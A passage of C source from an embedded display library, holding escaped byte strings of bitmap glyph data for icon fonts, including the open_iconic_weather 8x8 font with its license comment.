\"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\374\\376\\376\\377\\377\\377\"\n  \"\\377\\377\\377\\376\\376\\374\\374\\370\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0<~\\377\\377\\377\\377\\376\\376\\374\\374\\370\\370\\360\\360\\340\\340\\341\\347\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\347\\341\\340\\340\\360\\360\\370\\370\\374\\374\\376\\376\\377\\377\\377\\377~<\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\7\\307\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\307\\7\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0<~\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\3\\1\\0\\0\"\n  \"\\0\\0\\1\\3\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377~<\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0|\\376\\377\\377\\377\\377\\177\\177\\77\\77\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\77\\77\\177\\177\\377\\377\\377\\377\\376~\\70\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\37\\37\\37\\17\\7\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\1\\7\\17\\37\\37\\37\\17\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\374\\374\\370\\360\\340\\300\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\"\n  \"\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\177\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\374\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\37\\17\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\360\\300\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\37\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\3\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\300\\340\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\370\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\17\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\37\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\"\n  \"\\360\\370\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\77\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\77y\\200\\0\\0\\0\\0\\0\\0\\0\\0\\360\\376\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\3\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\374\\376\\376\\376\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\374\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\376\\377\\377\\377\\377\\377\\377\\37\\7\\3\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\37\\377\\377\\377\\377\\377\\377\\376\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\376\\374\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\177\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\374\\370\\340\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30~\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377~<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\370\\374\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\374\\370\\340\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\77\\177\"\n  \"\\77\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\77\\37\\17\\17\"\n  \"\\17\\17\\37\\77\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\374\\370\\360\\360\"\n  \"\\360\\360\\370\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: open_iconic_weather_8x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 6/6\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_weather_8x8[3076] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_weather_8x8\") = \n  \"@E\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\374\\374\"\n  \"\\376\\376\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\376\\374\\374\\370\\360\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\360\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\374\\376\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\374\"\n  \"\\370\\360\\300\\0\\17\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377~\\0\\0\\1\\3\\7\\17\\37\\77\\77\\177\\177\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\177\\77\\37\"\n  \"\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\374\\374\\376\\376\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\376\"\n  \"\\374\\374\\370\\360\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\37\\17\\7\\7\\3\\3\\3\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\77\\17\\7\\3\\1\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\374\\374\"\n  \"\\376\\376\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\376\\374\\374\\370\\360\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\7\\17\\7\\7\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\360\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\374\\376\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\374\"\n  \"\\370\\360\\300\\0\\17\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377~\\0\\0\\1\\3\\7\\17\\37\\77\\77\\177\\177\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\177\\77\\37\"\n  \"\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\374\\374\\376\\376\\37\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  